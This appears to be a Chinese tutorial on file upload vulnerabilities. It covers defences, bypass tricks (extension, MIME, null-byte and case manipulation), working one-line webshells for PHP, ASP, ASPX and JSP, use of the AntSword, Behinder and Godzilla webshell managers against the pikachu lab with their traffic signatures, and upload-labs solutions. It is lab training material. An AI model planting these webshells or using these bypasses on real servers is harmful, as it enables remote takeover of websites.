目录
一、文件上传漏洞的防御手段及绕过手段总结
1.1 什么是文件上传漏洞
如果对文件上传路径变量过滤不严,并且对用户上传的文件后缀以及文件类型限制不严,攻击者可通过 Web访问的目录上传任意文件,包括webshell等,进而远程控制网站服务器。
所以我们在开发网站及应用程序过程中,需严格限制和校验上传的文件,禁止上传恶意代码的文件,并限制相关目录的执行权限(最小权限原则),防范webshell攻击。
1.2 防御手段
-
将文件上传的目录设置为不可执行;
-
判断文件类型,结合使用MIME Type和后缀检查(可采用白名单,更安全);
-
使用随机数改写文件名和文件路径,限制用户访问;
-
单独设置文件服务器的域名,解决同源策略问题;
-
限制上传文件大小,上传的文件重新修改文件名及后缀名,后端设置再校验机制;
-
文件上传的上传保存路径根据业务进行分离(或直接隐藏),下载时重新生成的文件名。
1.3 绕过手段
1. 客户端验证绕过
在前端或客户端对上传文件进行验证时,攻击者可通过禁用 JavaScript 或使用burpsuite代理工具修改请求,从而上传恶意文件。
2. 服务端验证绕过
-
页面直接修改js上传文件方法(添加类型等);
-
抓包改包,将上传的文件后缀进行修改;(例如:a.jsp.jpg ——>抓包修改为 a.jsp)
-
通过修改请求中的 MIME 类型,让服务器认为文件是合法的。例如攻击者修改 HTTP 请求头中的
Content-Type
字段,伪造文件的 MIME 类型为普通图片类型(如image/jpeg
),以绕过上传限制。
3. 文件扩展名绕过
攻击者通过修改文件扩展名,使其绕过文件类型检查。例如,将 .php
文件重命名为 .php.jpg
、.php;.jpg
等,以欺骗服务器的上传检查机制。
很多语言都存在多个可解析后缀。当目标站点采用黑名单时,往往包含不全,此时则有机会绕过。
语言 | 可解析后缀 |
---|---|
asp.net | asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr |
php | php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml |
jsp | jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml |
4. 利用特殊字符
利用文件名中的特殊字符(如 null byte
)来混淆服务器的文件解析行为。例如 shell.php%00.jpg
,%00
是空字节,有些服务器会将其后的内容忽略,实际解析为 .php
文件。
5. 文件内容绕过
有些系统会通过读取文件内容来判断类型,攻击者可以将恶意脚本内容嵌入图片或其他合法文件格式中,借此绕过检查并执行恶意代码。
二、文件上传常用一句话木马
2.1 php一句话木马
<?php @eval($_POST['hacker']);?>
-
@
符号: 这是一个错误抑制符。它告诉 PHP 如果在执行eval()
函数时发生了错误,不要输出错误信息到浏览器上。这样做是为了隐藏错误,避免暴露给管理员 -
eval()
函数:eval()
是一个 PHP 内置函数,用于将字符串作为 PHP 代码执行。也就是说,它会将传入的字符串当成代码来运行。在这个例子中,eval()
会执行$_POST['hack']
这个变量的内容 -
$_POST['hacker']
:$_POST
是一个超全局数组,用来接收通过 HTTP中的POST 方法所传递的数据。$_POST['hack']
表示接收来自客户端的一个名为hack
的参数
2.2 asp一句话木马
<%eval request("hack")%>
2.3 aspx一句话木马
<%@ Page Language="Jscript"%><%eval(Request.Item["value"])%>
2.4 jsp一句话木马
<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
三、Webshell管理工具的使用方法
这里用pikachu靶场文件上传部分的”client check“关卡演示。
3.1 中国蚁剑(Antsword)
下载蚁剑源代码:https://github.com/AntSwordProject/AntSword-Loader
首次打开加载器时,界面如下图所示:
点击“初始化”按钮,选择一个空目录作为蚁剑的工作目录,加载器会自动下载源代码。
但出现报错“代码解压失败”:
解决方法:
1. 手动 clone antsword 源代码, 或者直接点这里下载源代码并解压。
git clone https://github.com/AntSwordProject/AntSword.git
2. 打开蚁剑加载器,选择源代码所在目录antSword-master(注:路径中不要有中文)。
3. 待提示初始化完毕时,重新打开蚁剑加载器,即可看到蚁剑的主界面。
安装成功!开始抓流量。
创建一句话木马文件:
由于题目提示只能上传图片,于是把写好的php脚本后缀修改为.jpg:
打开burpsuite代理后,在关卡上传该文件。
抓包成功,修改文件后缀名回php后放行:
成功上传:
打开蚁剑,添加代理:
编辑数据:
测试连接,抓包成功。
流量特征分析:
PHP 类 WebShell流量最中明显的特征为 【@ini_set ("display_errors","0");】同时会带base64编码解码等字符特征, 每个请求体都存在【@ini_set(“display_errors”, “0”);@set_time_limit(0)】开头。并且存在base64等字符,响应包的结果返回格式为 【随机数 结果 随机数】。
3.2 冰蝎(Behinder)
打开冰蝎,点击传输协议,选择default_xor_base64,生成服务端。
找到生成的文件,同理上传到pikachu,抓包修改后放行。
在冰蝎设置代理并新建shell:
双击建立的shell,BP抓包成功。
流量特征分析:发送包是base64,返回包是字节数组,所以会乱码。
3.3 哥斯拉(Gozilla)
打开哥斯拉,在管理菜单生成木马,存到自定义路径中。
同之前的操作,将木马上传,Burpsuite抓包修改后放行:
上传成功。
回到哥斯拉,右键“目标”——>“添加”进行设置。
点击测试连接,用BP拦截。
流量特征分析:
-
请求包特征:
-
“pass=”起始
-
请求包较长 响应包为0
-
一个tcp包里面有三个http
-
-
响应包特征:整个响应包的结构体征为:md5前十六位+base64+md5后十六位
四、文件上传无回显如何查找webshell地址
1. 日志分析
-
日志分析:检查服务器的访问日志或上传日志,查看最近的上传操作记录。常见日志文件包括 Apache 的 access.log 和 error.log、Nginx 的 access.log等,通常可找到上传文件的路径。
-
目录猜测:通过猜测常见的上传目录(如
/uploads/
、/images/
、/files/
等)并结合浏览器访问进行测试,寻找可能的 Webshell 文件位置。
2. 代码审计
-
代码审查:分析 Web 应用的源代码,找到负责文件上传的部分,确定上传文件存储的路径以及文件名生成机制。
-
检查上传配置:确认应用是否对文件存储路径进行动态设置,定位上传目录的位置。
3. 使用工具
- 使用如 dirmap等工具进行目录扫描,或者一些主动爆破工具进行爆破,尝试访问已上传的 Webshell 文件。
五、文件上传表单的无参/有参情况下构造表单
1. 无参文件上传表单构造
无参文件上传是指文件上传表单中没有其他参数,仅需要上传文件。表单可以直接构造为:
<form method="POST" enctype="multipart/form-data" action="目标URL">
<input type="file" name="file">
<input type="submit" value="上传">
</form>
2. 有参文件上传表单构造
有参文件上传表单包含其他参数,例如用户名、令牌、ID 等。表单构造如下:
<form method="POST" enctype="multipart/form-data" action="目标URL">
<input type="text" name="username" value="admin">
<input type="hidden" name="token" value="035200">
<input type="file" name="file">
<input type="submit" value="上传">
</form>
六、upload-labs靶场通关
Pass-06
查看源码,发现没有转换大小写:
新建文件:
上传文件,用BP拦截改包,后缀改为.PHP。
打开图片链接:
Pass-07
查看源码,发现没有首位去空:
于是用BP抓包,并在test.php后面加上英文空格然后发送。
打开图片:
Pass-08
查看源码,发现没有删除文件末尾的点这一步。
同理BP拦截改包,后缀末尾加个“."后放包
打开图片链接:
Pass-09
看源码:
于是用BP抓包,在test.php后面加上::$DATA,然后放包。
上传成功。
Pass-10
观察源码,发现该有的都有。但没有循环验证。
所以我们可以通过在test.php后加上“点+空格+点” 的方式来绕过验证。【思路】:首先代码发现有一个点,这时代码会把点去掉,又发现有一个空格,也会把它去掉,我们这时还有一个点,也就是.php. 由于他只是验证一次,所以不会在去掉我们的点,这时就可以上传成功,也可以解析成功。
放包,上传成功。